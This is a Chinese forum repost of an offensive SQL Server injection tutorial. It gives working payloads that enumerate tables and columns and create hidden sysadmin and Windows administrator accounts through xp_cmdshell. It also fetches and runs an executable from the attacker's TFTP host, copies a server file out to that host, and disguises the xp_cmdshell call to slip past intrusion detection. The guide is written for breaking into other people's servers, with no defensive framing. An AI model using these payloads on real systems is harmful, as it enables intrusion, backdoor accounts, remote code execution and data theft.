发新话题
打印

[转载]桂林老兵的SQLSERVER高级注入技巧

[转载]桂林老兵的SQLSERVER高级注入技巧

信息来源:桂林老兵网
文章作者:桂林老兵

现在将老兵本人多年的SQLSERVER注入高级技巧奉献给支持老兵的朋友:

前言:
即是高级技巧,其它基本的注入方法就不详述了。
看不懂可查本站的注入基础文章。
为了更好的用好注入,建议大家看看本站的SQL语法相关文章

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>&#39;你得到的表名&#39; 查出一个加一个]) [ where 条件]


[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(&#39;要查询的数据表名&#39;),字段列如:1) [ where 条件]



也可以这样更简捷的获取表名:



select top 1 name from sysobjects where xtype=u and status>0 and name not in(&#39;table1&#39;,&#39;table2&#39;,…)




通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]



news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码,则用这句(将test的密码改为123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell &#39;net user test test /add&#39;;-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell &#39;net localgroup administrators test /add&#39;;-- //将系统用户test提升为管理员



这样,你在他的数据库和系统内都留下了test管理员账号了




下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器,将69端口打开]



id=2; exec master.dbo.xp_cmdshell &#39;tftp –i 你的IP get file.exe&#39;;--



然后运行这个文件:
id=2; exec master.dbo.xp_cmdshell &#39;file.exe&#39;;--



下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:



id=2; exec master.dbo.xp_cmdshell &#39;tftp –i 你的IP Put file2.doc&#39;;--



绕过IDS的检测[使用变量]
declare @a sysname set @a=&#39;xp_&#39;+&#39;cmdshell&#39; exec @a &#39;dir c:\&#39;
declare @a sysname set @a=&#39;xp&#39;+&#39;_cm’+’dshell&#39; exec @a &#39;dir c:\&#39;
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题